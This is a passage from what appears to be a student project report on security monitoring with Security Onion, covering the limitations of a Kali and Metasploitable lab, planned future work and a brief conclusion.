we can get the prepare knowledge. We read many paper about security issues, monitor
issues, but there was not enough ideas.

Second, we faced a major problem, which is tools version problem. We used three versions
of security onion but each and every version there was some limitations. In analyses process
we saw that, Elsa did not work properly, sometimes Kibana and Squert did not give
accurate summery of an event. So basically security onion tools are depend on which

version we are using.
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Third, as far we know day by day software getting updated so, when we tried to setup an
environment using Kali Linux, Metasploitable and Security Onion we faced space problem

in our device and also version problems.

In backdoor attack process sometimes exploit did not work successfully because, we did

not get accurate exploit port version, exploit path.

When we used malware pcap file to analyses events on security onion sometimes events
also not captured in sguil. From captured events we did not get enough necessary data by

which we can declare that it was a virus or not.

4.3 Future Extensions

The work we did now is a primary label work. In the future, we want to do a lot about it.
Those things are:

e We are now using many tools. But in the future we will use the advance tools like

as Kibana. We know Kibana is a powerful tool. We will use advance tools to detect

and analysis malicious events. Here is the Kibana interface

e We've already analyzed our record Pcap files. But in the future we will try to further

analyze our record Pcap files.

e We will use advance analysis using CapMe Plugin. If big Pcap files are here then

we can see huge information about this Pcap files by using CapMe Plugin

e Try to exploit secure devices like windows. But the most important part is data
damage analysis. We see every day that the data is going hacked. Suppose when
the hacker access our machine, then they will take some data or complete data from
there or put some malware input in our machine. In that case the data becomes
unreliable. As a result how many data will be lose or some range all of these are we

will work in future.
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Chapter 5

Conclusion

We know that number of device increasing day by day. Secure device is important but not
enough. Secure device is also hack able. We need three things to overcome this problem
like as monitoring, detection and analysis. We have using some security onion tools in our
analysis part like as Elsa, Squart etc. Try to overcome this situation we also need

experienced people to take this challenge.

We see that only 38% of global organizations claim they are prepared to handle a
sophisticated cyber-attack which is very poor number. That’s way we hope that this rate
will be increase in future. We also hope that we will be combining our analysis part for any

organization in future.
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